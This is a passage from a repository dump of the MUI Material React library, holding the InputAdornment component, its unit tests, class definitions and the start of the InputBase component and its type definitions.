    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport capitalize from '../utils/capitalize';\nimport Typography from '../Typography';\nimport FormControlContext from '../FormControl/FormControlContext';\nimport useFormControl from '../FormControl/useFormControl';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport inputAdornmentClasses, { getInputAdornmentUtilityClass } from './inputAdornmentClasses';\n\nconst overridesResolver = (props, styles) => {\n  const { ownerState } = props;\n\n  return [\n    styles.root,\n    styles[`position${capitalize(ownerState.position)}`],\n    ownerState.disablePointerEvents === true && styles.disablePointerEvents,\n    styles[ownerState.variant],\n  ];\n};\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, disablePointerEvents, hiddenLabel, position, size, variant } = ownerState;\n  const slots = {\n    root: [\n      'root',\n      disablePointerEvents && 'disablePointerEvents',\n      position && `position${capitalize(position)}`,\n      variant,\n      hiddenLabel && 'hiddenLabel',\n      size && `size${capitalize(size)}`,\n    ],\n  };\n\n  return composeClasses(slots, getInputAdornmentUtilityClass, classes);\n};\n\nconst InputAdornmentRoot = styled('div', {\n  name: 'MuiInputAdornment',\n  slot: 'Root',\n  overridesResolver,\n})(\n  memoTheme(({ theme }) => ({\n    display: 'flex',\n    maxHeight: '2em',\n    alignItems: 'center',\n    whiteSpace: 'nowrap',\n    color: (theme.vars || theme).palette.action.active,\n    variants: [\n      {\n        props: {\n          variant: 'filled',\n        },\n        style: {\n          [`&.${inputAdornmentClasses.positionStart}&:not(.${inputAdornmentClasses.hiddenLabel})`]:\n            {\n              marginTop: 16,\n            },\n        },\n      },\n      {\n        props: {\n          position: 'start',\n        },\n        style: {\n          marginRight: 8,\n        },\n      },\n      {\n        props: {\n          position: 'end',\n        },\n        style: {\n          marginLeft: 8,\n        },\n      },\n      {\n        props: {\n          disablePointerEvents: true,\n        },\n        style: {\n          pointerEvents: 'none',\n        },\n      },\n    ],\n  })),\n);\n\nconst InputAdornment = React.forwardRef(function InputAdornment(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiInputAdornment' });\n  const {\n    children,\n    className,\n    component = 'div',\n    disablePointerEvents = false,\n    disableTypography = false,\n    position,\n    variant: variantProp,\n    ...other\n  } = props;\n\n  const muiFormControl = useFormControl() || {};\n\n  let variant = variantProp;\n\n  if (variantProp && muiFormControl.variant) {\n    if (process.env.NODE_ENV !== 'production') {\n      if (variantProp === muiFormControl.variant) {\n        console.error(\n          'MUI: The `InputAdornment` variant infers the variant prop ' +\n            'you do not have to provide one.',\n        );\n      }\n    }\n  }\n\n  if (muiFormControl && !variant) {\n    variant = muiFormControl.variant;\n  }\n\n  const ownerState = {\n    ...props,\n    hiddenLabel: muiFormControl.hiddenLabel,\n    size: muiFormControl.size,\n    disablePointerEvents,\n    position,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <FormControlContext.Provider value={null}>\n      <InputAdornmentRoot\n        as={component}\n        ownerState={ownerState}\n        className={clsx(classes.root, className)}\n        ref={ref}\n        {...other}\n      >\n        {typeof children === 'string' && !disableTypography ? (\n          <Typography color=\"textSecondary\">{children}</Typography>\n        ) : (\n          <React.Fragment>\n            {/* To have the correct vertical alignment baseline */}\n            {position === 'start' ? (\n              /* notranslate needed while Google Translate will not fix zero-width space issue */\n              <span className=\"notranslate\" aria-hidden>\n                &#8203;\n              </span>\n            ) : null}\n            {children}\n          </React.Fragment>\n        )}\n      </InputAdornmentRoot>\n    </FormControlContext.Provider>\n  );\n});\n\nInputAdornment.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component, normally an `IconButton` or string.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Disable pointer events on the root.\n   * This allows for the content of the adornment to focus the `input` on click.\n   * @default false\n   */\n  disablePointerEvents: PropTypes.bool,\n  /**\n   * If children is a string then disable wrapping in a Typography component.\n   * @default false\n   */\n  disableTypography: PropTypes.bool,\n  /**\n   * The position this adornment should appear relative to the `Input`.\n   */\n  position: PropTypes.oneOf(['end', 'start']).isRequired,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The variant to use.\n   * Note: If you are using the `TextField` component or the `FormControl` component\n   * you do not have to set this manually.\n   */\n  variant: PropTypes.oneOf(['filled', 'outlined', 'standard']),\n};\n\nexport default InputAdornment;\n"
  },
  {
    "path": "packages/mui-material/src/InputAdornment/InputAdornment.test.js",
    "content": "import { expect } from 'chai';\nimport {\n  createRenderer,\n  strictModeDoubleLoggingSuppressed,\n  screen,\n} from '@mui/internal-test-utils';\nimport { typographyClasses } from '@mui/material/Typography';\nimport InputAdornment, { inputAdornmentClasses as classes } from '@mui/material/InputAdornment';\nimport TextField from '@mui/material/TextField';\nimport FormControl from '@mui/material/FormControl';\nimport Input from '@mui/material/Input';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<InputAdornment />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<InputAdornment position=\"start\">foo</InputAdornment>, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiInputAdornment',\n    testVariantProps: { color: 'primary' },\n    refInstanceof: window.HTMLDivElement,\n    testComponentPropWith: 'span',\n  }));\n\n  it('should wrap text children in a Typography', () => {\n    const { container } = render(<InputAdornment position=\"start\">foo</InputAdornment>);\n    const typography = container.querySelector(`.${typographyClasses.root}`);\n\n    expect(typography).not.to.equal(null);\n    expect(typography).to.have.text('foo');\n  });\n\n  it('should have the root and start class when position is start', () => {\n    const { container } = render(<InputAdornment position=\"start\">foo</InputAdornment>);\n    const adornment = container.firstChild;\n\n    expect(adornment).to.have.class(classes.root);\n    expect(adornment).to.have.class(classes.positionStart);\n  });\n\n  it('should have the root and end class when position is end', () => {\n    const { container } = render(<InputAdornment position=\"end\">foo</InputAdornment>);\n    const adornment = container.firstChild;\n\n    expect(adornment).to.have.class(classes.root);\n    expect(adornment).to.have.class(classes.positionEnd);\n  });\n\n  describe('prop: variant', () => {\n    it(\"should inherit the TextField's variant\", () => {\n      render(\n        <TextField\n          fullWidth\n          placeholder=\"Search\"\n          label=\"Search\"\n          variant=\"filled\"\n          slotProps={{\n            input: {\n              startAdornment: (\n                <InputAdornment data-testid=\"InputAdornment\" position=\"start\">\n                  foo\n                </InputAdornment>\n              ),\n            },\n          }}\n        />,\n      );\n\n      const adornment = screen.getByTestId('InputAdornment');\n\n      expect(adornment).to.have.class(classes.root);\n      expect(adornment).to.have.class(classes.positionStart);\n      expect(adornment).to.have.class(classes.filled);\n    });\n\n    it(\"should inherit the FormControl's variant\", () => {\n      render(\n        <FormControl variant=\"filled\">\n          <InputAdornment data-testid=\"InputAdornment\" position=\"start\">\n            foo\n          </InputAdornment>\n        </FormControl>,\n      );\n\n      const adornment = screen.getByTestId('InputAdornment');\n\n      expect(adornment).to.have.class(classes.root);\n      expect(adornment).to.have.class(classes.positionStart);\n      expect(adornment).to.have.class(classes.filled);\n    });\n\n    it('should override the inherited variant', () => {\n      render(\n        <TextField\n          fullWidth\n          placeholder=\"Search\"\n          label=\"Search\"\n          variant=\"filled\"\n          slotProps={{\n            input: {\n              startAdornment: (\n                <InputAdornment data-testid=\"InputAdornment\" variant=\"standard\" position=\"start\">\n                  foo\n                </InputAdornment>\n              ),\n            },\n          }}\n        />,\n      );\n\n      const adornment = screen.getByTestId('InputAdornment');\n\n      expect(adornment).to.have.class(classes.root);\n      expect(adornment).to.have.class(classes.positionStart);\n      expect(adornment).not.to.have.class(classes.filled);\n    });\n\n    it('should have the filled root and class when variant is filled', () => {\n      const { container } = render(\n        <InputAdornment variant=\"filled\" position=\"start\">\n          foo\n        </InputAdornment>,\n      );\n      const adornment = container.firstChild;\n\n      expect(adornment).to.have.class(classes.root);\n      expect(adornment).to.have.class(classes.positionStart);\n      expect(adornment).to.have.class(classes.filled);\n    });\n\n    it('should warn if the variant supplied is equal to the variant inferred', () => {\n      expect(() => {\n        render(\n          <FormControl variant=\"filled\">\n            <Input\n              startAdornment={\n                <InputAdornment variant=\"filled\" position=\"start\">\n                  foo\n                </InputAdornment>\n              }\n            />\n          </FormControl>,\n        );\n      }).toErrorDev([\n        'MUI: The `InputAdornment` variant infers the variant ' +\n          'prop you do not have to provide one.',\n        !strictModeDoubleLoggingSuppressed &&\n          'MUI: The `InputAdornment` variant infers the variant ' +\n            'prop you do not have to provide one.',\n      ]);\n    });\n  });\n\n  it('should have the disabled pointer events class when disabledPointerEvents true', () => {\n    const { container } = render(\n      <InputAdornment disablePointerEvents position=\"start\">\n        foo\n      </InputAdornment>,\n    );\n    const adornment = container.firstChild;\n\n    expect(adornment).to.have.class(classes.disablePointerEvents);\n  });\n\n  it('should not wrap text children in a Typography when disableTypography true', () => {\n    const { container } = render(\n      <InputAdornment disableTypography position=\"start\">\n        foo\n      </InputAdornment>,\n    );\n\n    expect(container.querySelector(`.${typographyClasses.root}`)).to.equal(null);\n  });\n\n  it('should render children', () => {\n    const { container } = render(\n      <InputAdornment position=\"end\">\n        <div>foo</div>\n      </InputAdornment>,\n    );\n    const adornment = container.firstChild;\n\n    expect(adornment.firstChild).to.have.property('nodeName', 'DIV');\n  });\n\n  describe('prop: position', () => {\n    it('should render span for vertical baseline alignment', () => {\n      const { container } = render(\n        <InputAdornment position=\"start\">\n          <div>foo</div>\n        </InputAdornment>,\n      );\n      const adornment = container.firstChild;\n\n      expect(adornment.firstChild).to.have.tagName('span');\n      expect(adornment.firstChild).to.have.class('notranslate');\n      expect(adornment.childNodes[1]).to.have.tagName('div');\n    });\n  });\n\n  it('applies a size small class inside <FormControl size=\"small\" />', () => {\n    render(\n      <FormControl size=\"small\">\n        <InputAdornment position=\"start\" data-testid=\"root\">\n          $\n        </InputAdornment>\n      </FormControl>,\n    );\n\n    expect(screen.getByTestId('root')).to.have.class(classes.sizeSmall);\n  });\n\n  it('applies a hiddenLabel class inside <FormControl hiddenLabel />', () => {\n    render(\n      <FormControl hiddenLabel>\n        <InputAdornment position=\"start\" data-testid=\"root\">\n          $\n        </InputAdornment>\n      </FormControl>,\n    );\n\n    expect(screen.getByTestId('root')).to.have.class(classes.hiddenLabel);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/InputAdornment/index.d.ts",
    "content": "export * from './InputAdornment';\nexport { default } from './InputAdornment';\n\nexport { default as inputAdornmentClasses } from './inputAdornmentClasses';\nexport * from './inputAdornmentClasses';\n"
  },
  {
    "path": "packages/mui-material/src/InputAdornment/index.js",
    "content": "export { default } from './InputAdornment';\n\nexport { default as inputAdornmentClasses } from './inputAdornmentClasses';\nexport * from './inputAdornmentClasses';\n"
  },
  {
    "path": "packages/mui-material/src/InputAdornment/inputAdornmentClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface InputAdornmentClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `variant=\"filled\"`. */\n  filled: string;\n  /** Styles applied to the root element if `variant=\"outlined\"`. */\n  outlined: string;\n  /** Styles applied to the root element if `variant=\"standard\"`. */\n  standard: string;\n  /** Styles applied to the root element if `position=\"start\"`. */\n  positionStart: string;\n  /** Styles applied to the root element if `position=\"end\"`. */\n  positionEnd: string;\n  /** Styles applied to the root element if `disablePointerEvents={true}`. */\n  disablePointerEvents: string;\n  /** Styles applied if the adornment is used inside `<FormControl hiddenLabel />`. */\n  hiddenLabel: string;\n  /** Styles applied if the adornment is used inside `<FormControl size=\"small\" />`. */\n  sizeSmall: string;\n}\n\nexport type InputAdornmentClassKey = keyof InputAdornmentClasses;\n\nexport function getInputAdornmentUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiInputAdornment', slot);\n}\n\nconst inputAdornmentClasses: InputAdornmentClasses = generateUtilityClasses('MuiInputAdornment', [\n  'root',\n  'filled',\n  'standard',\n  'outlined',\n  'positionStart',\n  'positionEnd',\n  'disablePointerEvents',\n  'hiddenLabel',\n  'sizeSmall',\n]);\n\nexport default inputAdornmentClasses;\n"
  },
  {
    "path": "packages/mui-material/src/InputBase/InputBase.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { InputBaseClasses } from './inputBaseClasses';\n\nexport interface InputBasePropsSizeOverrides {}\n\nexport interface InputBasePropsColorOverrides {}\n\nexport interface InputBaseComponentsPropsOverrides {}\n\nexport interface InputBaseProps extends StandardProps<\n  React.HTMLAttributes<HTMLDivElement>,\n  /*\n   * `onBlur`, `onChange`, `onFocus`, `onInvalid`, `onKeyDown`, `onKeyUp` are applied to the inner `InputComponent`,\n   * which by default is an input or textarea. Since these handlers differ from the\n   * ones inherited by `React.HTMLAttributes<HTMLDivElement>` we need to omit them.\n   */\n  | 'children'\n  | 'defaultValue'\n  | 'onBlur'\n  | 'onChange'\n  | 'onFocus'\n  | 'onInvalid'\n  | 'onKeyDown'\n  | 'onKeyUp'\n> {\n  'aria-describedby'?: string | undefined;\n  /**\n   * This prop helps users to fill forms faster, especially on mobile devices.\n   * The name can be confusing, as it's more like an autofill.\n   * You can learn more about it [following the specification](https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill).\n   */\n  autoComplete?: string | undefined;\n  /**\n   * If `true`, the `input` element is focused during the first mount.\n   */\n  autoFocus?: boolean | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<InputBaseClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * The prop defaults to the value (`'primary'`) inherited from the parent FormControl component.\n   */\n  color?:\n    | OverridableStringUnion<\n        'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning',\n        InputBasePropsColorOverrides\n      >\n    | undefined;\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue?: unknown;\n  /**\n   * If `true`, the component is disabled.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, GlobalStyles for the auto-fill keyframes will not be injected/removed on mount/unmount. Make sure to inject them at the top of your application.\n   * This option is intended to help with boosting the initial rendering performance if you are loading a big amount of Input components at once.\n   * @default false\n   */\n  disableInjectingGlobalStyles?: boolean | undefined;\n  /**\n   * End `InputAdornment` for this component.\n   */\n  endAdornment?: React.ReactNode;\n  /**\n   * If `true`, the `input` will indicate an error.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  error?: boolean | undefined;\n  /**\n   * If `true`, the `input` will take up the full width of its container.\n   * @default false\n   */\n  fullWidth?: boolean | undefined;\n  /**\n   * The id of the `input` element.\n   */\n  id?: string | undefined;\n  /**\n   * The component used for the `input` element.\n   * Either a string to use a HTML element or a component.\n   * @default 'input'\n   */\n  inputComponent?: React.ElementType<InputBaseComponentProps> | undefined;\n  /**\n   * [Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#attributes) applied to the `input` element.\n   * @default {}\n   */\n  inputProps?: InputBaseComponentProps | undefined;\n  /**\n   * Pass a ref to the `input` element.\n   */\n  inputRef?: React.Ref<any> | undefined;\n  /**\n   * If `dense`, will adjust vertical spacing. This is normally obtained via context from\n   * FormControl.\n   * The prop defaults to the value (`'none'`) inherited from the parent FormControl component.\n   */\n  margin?: 'dense' | 'none' | undefined;\n  /**\n   * If `true`, a [TextareaAutosize](https://mui.com/material-ui/react-textarea-autosize/) element is rendered.\n   * @default false\n   */\n  multiline?: boolean | undefined;\n  /**\n   * Name attribute of the `input` element.\n   */\n  name?: string | undefined;\n  /**\n   * Callback fired when the `input` is blurred.\n   *\n   * Notice that the first argument (event) might be undefined.\n   */\n  onBlur?: React.FocusEventHandler<HTMLInputElement | HTMLTextAreaElement> | undefined;\n  /**\n   * Callback fired when the value is changed.\n   *\n   * @param {React.ChangeEvent<HTMLTextAreaElement | HTMLInputElement>} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange?: React.ChangeEventHandler<HTMLTextAreaElement | HTMLInputElement> | undefined;\n  onFocus?: React.FocusEventHandler<HTMLInputElement | HTMLTextAreaElement> | undefined;\n  onKeyDown?: React.KeyboardEventHandler<HTMLTextAreaElement | HTMLInputElement> | undefined;\n  onKeyUp?: React.KeyboardEventHandler<HTMLTextAreaElement | HTMLInputElement> | undefined;\n  /**\n   * Callback fired when the `input` doesn't satisfy its constraints.\n   */\n  onInvalid?: React.FormEventHandler<HTMLInputElement | HTMLTextAreaElement> | undefined;\n  /**\n   * The short hint displayed in the `input` before the user enters a value.\n   */\n  placeholder?: string | undefined;\n  /**\n   * It prevents the user from changing the value of the field\n   * (not from interacting with the field).\n   */\n  readOnly?: boolean | undefined;\n  /**\n   * If `true`, the `input` element is required.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  required?: boolean | undefined;\n  renderSuffix?:\n    | ((state: {\n        disabled?: boolean | undefined;\n        error?: boolean | undefined;\n        filled?: boolean | undefined;\n        focused?: boolean | undefined;\n        margin?: 'dense' | 'none' | 'normal' | undefined;\n        required?: boolean | undefined;\n        startAdornment?: React.ReactNode;\n      }) => React.ReactNode)\n    | undefined;\n  /**\n   * Number of rows to display when multiline option is set to true.\n   */\n  rows?: string | number | undefined;\n  /**\n   * Maximum number of rows to display when multiline option is set to true.\n   */\n  maxRows?: string | number | undefined;\n  /**\n   * Minimum number of rows to display when multiline option is set to true.\n   */\n  minRows?: string | number | undefined;\n  /**\n   * The size of the component.\n   */\n  size?: OverridableStringUnion<'small' | 'medium', InputBasePropsSizeOverrides> | undefined;\n  /**\n   * The extra props for the slot components.\n   * You can override the existing props or add new ones.\n   *\n   * @default {}\n   */\n  slotProps?:\n    | {\n        root?:\n          | (React.HTMLAttributes<HTMLDivElement> &\n              InputBaseComponentsPropsOverrides & { sx?: SxProps<Theme> | undefined })\n          | undefined;\n        input?:\n          | (React.InputHTMLAttributes<HTMLInputElement> &\n              InputBaseComponentsPropsOverrides & { sx?: SxProps<Theme> | undefined })\n          | undefined;\n      }\n    | undefined;\n  /**\n   * The components used for each slot inside.\n   *\n   * @default {}\n   */\n  slots?:\n    | {\n        root?: React.ElementType | undefined;\n        input?: React.ElementType | undefined;\n      }\n    | undefined;\n  /**\n   * Start `InputAdornment` for this component.\n   */\n  startAdornment?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * Type of the `input` element. It should be [a valid HTML5 input type](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#input_types).\n   * @default 'text'\n   */\n  type?: string | undefined;\n  /**\n   * The value of the `input` element, required for a controlled component.\n   */\n  value?: unknown;\n}\n\nexport interface InputBaseComponentProps extends React.HTMLAttributes<\n  HTMLInputElement | HTMLTextAreaElement\n> {\n  // Accommodate arbitrary additional props coming from the `inputProps` prop\n  [arbitrary: string]: any;\n}\n\n/**\n * `InputBase` contains as few styles as possible.\n * It aims to be a simple building block for creating an input.\n * It contains a load of style reset and some state logic.\n *\n * Demos:\n *\n * - [Text Field](https://next.mui.com/material-ui/react-text-field/)\n *\n * API:\n *\n * - [InputBase API](https://next.mui.com/material-ui/api/input-base/)\n */\nexport default function InputBase(props: InputBaseProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/InputBase/InputBase.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport elementTypeAcceptingRef from '@mui/utils/elementTypeAcceptingRef';\nimport refType from '@mui/utils/refType';\nimport composeClasses from '@mui/utils/composeClasses';\nimport isHostComponent from '@mui/utils/isHostComponent';\nimport TextareaAutosize from '../TextareaAutosize';\nimport formControlState from '../FormControl/formControlState';\nimport FormControlContext from '../FormControl/FormControlContext';\nimport useFormControl from '../FormControl/useFormControl';\nimport { styled, globalCss } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport capitalize from '../utils/capitalize';\nimport useForkRef from '../utils/useForkRef';\nimport useEnhancedEffect from '../utils/useEnhancedEffect';\nimport { isFilled } from './utils';\nimport inputBaseClasses, { getInputBaseUtilityClass } from './inputBaseClasses';\n\nexport const rootOverridesResolver = (props, styles) => {\n  const { ownerState } = props;\n\n  return [\n    styles.root,\n    ownerState.formControl && styles.formControl,\n    ownerState.startAdornment && styles.adornedStart,\n    ownerState.endAdornment && styles.adornedEnd,\n    ownerState.error && styles.error,\n    ownerState.size === 'small' && styles.sizeSmall,\n    ownerState.multiline && styles.multiline,\n    ownerState.color && styles[`color${capitalize(ownerState.color)}`],\n    ownerState.fullWidth && styles.fullWidth,\n    ownerState.hiddenLabel && styles.hiddenLabel,\n  ];\n};\n\nexport const inputOverridesResolver = (props, styles) => {\n  const { ownerState } = props;\n\n  return [styles.input, ownerState.type === 'search' && styles.inputTypeSearch];\n};\n\nconst useUtilityClasses = (ownerState) => {\n  const {\n    classes,\n    color,\n    disabled,\n    error,\n    endAdornment,\n    focused,\n    formControl,\n    fullWidth,\n    hiddenLabel,\n    multiline,\n    readOnly,\n    size,\n    startAdornment,\n    type,\n  } = ownerState;\n  const slots = {\n    root: [\n      'root',\n      `color${capitalize(color)}`,\n      disabled && 'disabled',\n      error && 'error',\n      fullWidth && 'fullWidth',\n      focused && 'focused',\n      formControl && 'formControl',\n      size && size !== 'medium' && `size${capitalize(size)}`,\n      multiline && 'multiline',\n      startAdornment && 'adornedStart',\n      endAdornment && 'adornedEnd',\n      hiddenLabel && 'hiddenLabel',\n      readOnly && 'readOnly',\n    ],\n    input: [\n      'input',\n      disabled && 'disabled',\n      type === 'search' && 'inputTypeSearch',\n      readOnly && 'readOnly',\n    ],\n  };\n\n  return composeClasses(slots, getInputBaseUtilityClass, classes);\n};\n\nexport const InputBaseRoot = styled('div', {\n  name: 'MuiInputBase',\n  slot: 'Root',\n  overridesResolver: rootOverridesResolver,\n})(\n  memoTheme(({ theme }) => ({\n    ...theme.typography.body1,\n    color: (theme.vars || theme).palette.text.primary,\n    lineHeight: '1.4375em', // 23px\n    boxSizing: 'border-box', // Prevent padding issue with fullWidth.\n    position: 'relative',\n    cursor: 'text',\n    display: 'inline-flex',\n    alignItems: 'center',\n    [`&.${inputBaseClasses.disabled}`]: {\n      color: (theme.vars || theme).palette.text.disabled,\n      cursor: 'default',\n    },\n    variants: [\n      {\n        props: ({ ownerState }) => ownerState.multiline,\n        style: {\n          padding: '4px 0 5px',\n        },\n      },\n      {\n        props: ({ ownerState, size }) => ownerState.multiline && size === 'small',\n        style: {\n          paddingTop: 1,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.fullWidth,\n        style: {\n          width: '100%',\n        },\n      },\n    ],\n  })),\n);\n\nexport const InputBaseInput = styled('input', {\n  name: 'MuiInputBase',\n  slot: 'Input',\n  overridesResolver: inputOverridesResolver,\n})(\n  memoTheme(({ theme }) => {\n    const light = theme.palette.mode === 'light';\n    const placeholder = {\n      color: 'currentColor',\n      ...(theme.vars\n        ? {\n            opacity: theme.vars.opacity.inputPlaceholder,\n          }\n        : {\n            opacity: light ? 0.42 : 0.5,\n          }),\n      transition: theme.transitions.create('opacity', {\n        duration: theme.transitions.duration.shorter,\n      }),\n    };\n    const placeholderHidden = {\n      opacity: '0 !important',\n    };\n    const placeholderVisible = theme.vars\n      ? {\n          opacity: theme.vars.opacity.inputPlaceholder,\n        }\n      : {\n          opacity: light ? 0.42 : 0.5,\n        };\n\n    return {\n      font: 'inherit',\n      letterSpacing: 'inherit',\n      color: 'currentColor',\n      padding: '4px 0 5px',\n      border: 0,\n      boxSizing: 'content-box',\n      background: 'none',\n      height: '1.4375em', // Reset 23pxthe native input line-height\n      margin: 0, // Reset for Safari\n      WebkitTapHighlightColor: 'transparent',\n      display: 'block',\n      // Make the flex item shrink with Firefox\n      minWidth: 0,\n      width: '100%',\n      '&::-webkit-input-placeholder': placeholder,\n      '&::-moz-placeholder': placeholder, // Firefox 19+\n      '&::-ms-input-placeholder': placeholder, // Edge\n      '&:focus': {\n        outline: 0,\n      },\n      // Reset Firefox invalid required input style\n      '&:invalid': {\n        boxShadow: 'none',\n      },\n      '&::-webkit-search-decoration': {\n        // Remove the padding when type=search.\n        WebkitAppearance: 'none',\n      },\n      // Show and hide the placeholder logic\n      [`label[data-shrink=false] + .${inputBaseClasses.formControl} &`]: {\n        '&::-webkit-input-placeholder': placeholderHidden,\n        '&::-moz-placeholder': placeholderHidden, // Firefox 19+\n        '&::-ms-input-placeholder': placeholderHidden, // Edge\n        '&:focus::-webkit-input-placeholder': placeholderVisible,\n        '&:focus::-moz-placeholder': placeholderVisible, // Firefox 19+\n        '&:focus::-ms-input-placeholder': placeholderVisible, // Edge\n      },\n      [`&.${inputBaseClasses.disabled}`]: {\n        opacity: 1, // Reset iOS opacity\n        WebkitTextFillColor: (theme.vars || theme).palette.text.disabled, // Fix opacity Safari bug\n      },\n      variants: [\n        {\n          props: ({ ownerState }) => !ownerState.disableInjectingGlobalStyles,\n          style: {\n            animationName: 'mui-auto-fill-cancel',\n            animationDuration: '10ms',\n            '&:-webkit-autofill': {\n              animationDuration: '5000s',\n              animationName: 'mui-auto-fill',\n            },\n          },\n        },\n        {\n          props: {\n            size: 'small',\n          },\n          style: {\n            paddingTop: 1,\n          },\n        },\n        {\n          props: ({ ownerState }) => ownerState.multiline,\n          style: {\n            height: 'auto',\n            resize: 'none',\n            padding: 0,\n            paddingTop: 0,\n          },\n        },\n        {\n          props: {\n            type: 'search',\n          },\n          style: {\n            MozAppearance: 'textfield', // Improve type search style.\n          },\n        },\n      ],\n    };\n  }),\n);\n\nconst InputGlobalStyles = globalCss({\n  '@keyframes mui-auto-fill': { from: { display: 'block' } },\n  '@keyframes mui-auto-fill-cancel': { from: { display: 'block' } },\n});\n\n/**\n * `InputBase` contains as few styles as possible.\n * It aims to be a simple building block for creating an input.\n * It contains a load of style reset and some state logic.\n */\nconst InputBase = React.forwardRef(function InputBase(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiInputBase' });\n  const {\n    'aria-describedby': ariaDescribedby,\n    autoComplete,\n    autoFocus,\n    className,\n    color,\n    defaultValue,\n    disabled,\n    disableInjectingGlobalStyles,\n    endAdornment,\n    error,\n    fullWidth = false,\n    id,\n    inputComponent = 'input',\n    inputProps: inputPropsProp = {},\n    inputRef: inputRefProp,\n    margin,\n    maxRows,\n    minRows,\n    multiline = false,\n    name,\n    onBlur,\n    onChange,\n    onClick,\n    onFocus,\n    onKeyDown,\n    onKeyUp,\n    placeholder,\n    readOnly,\n    renderSuffix,\n    rows,\n    size,\n    slotProps = {},\n    slots = {},\n    startAdornment,\n    type = 'text',\n    value: valueProp,\n    ...other\n  } = props;\n\n  const value = inputPropsProp.value != null ? inputPropsProp.value : valueProp;\n  const { current: isControlled } = React.useRef(value != null);\n\n  const inputRef = React.useRef();\n  const handleInputRefWarning = React.useCallback((instance) => {\n    if (process.env.NODE_ENV !== 'production') {\n      if (instance && instance.nodeName !== 'INPUT' && !instance.focus) {\n        console.error(\n          [\n            'MUI: You have provided a `inputComponent` to the input component',\n            'that does not correctly handle the `ref` prop.',\n            'Make sure the `ref` prop is called with a HTMLInputElement.',\n          ].join('\\n'),\n        );\n      }\n    }\n  }, []);\n\n  const handleInputRef = useForkRef(\n    inputRef,\n    inputRefProp,\n    inputPropsProp.ref,\n    handleInputRefWarning,\n  );\n\n  const [focused, setFocused] = React.useState(false);\n  const muiFormControl = useFormControl();\n\n  if (process.env.NODE_ENV !== 'production') {\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    React.useEffect(() => {\n      if (muiFormControl) {\n        return muiFormControl.registerEffect();\n      }\n\n      return undefined;\n    }, [muiFormControl]);\n  }\n\n  const fcs = formControlState({\n    props,\n    muiFormControl,\n    states: ['color', 'disabled', 'error', 'hiddenLabel', 'size', 'required', 'filled'],\n  });\n\n  fcs.focused = muiFormControl ? muiFormControl.focused : focused;\n\n  // The blur won't fire when the disabled state is set on a focused input.\n  // We need to book keep the focused state manually.\n  React.useEffect(() => {\n    if (!muiFormControl && disabled && focused) {\n      setFocused(false);\n      if (onBlur) {\n        onBlur();\n      }\n    }\n  }, [muiFormControl, disabled, focused, onBlur]);\n\n  const onFilled = muiFormControl && muiFormControl.onFilled;\n  const onEmpty = muiFormControl && muiFormControl.onEmpty;\n\n  const checkDirty = React.useCallback(\n    (obj) => {\n      if (isFilled(obj)) {\n        if (onFilled) {\n          onFilled();\n        }\n      } else if (onEmpty) {\n        onEmpty();\n      }\n    },\n 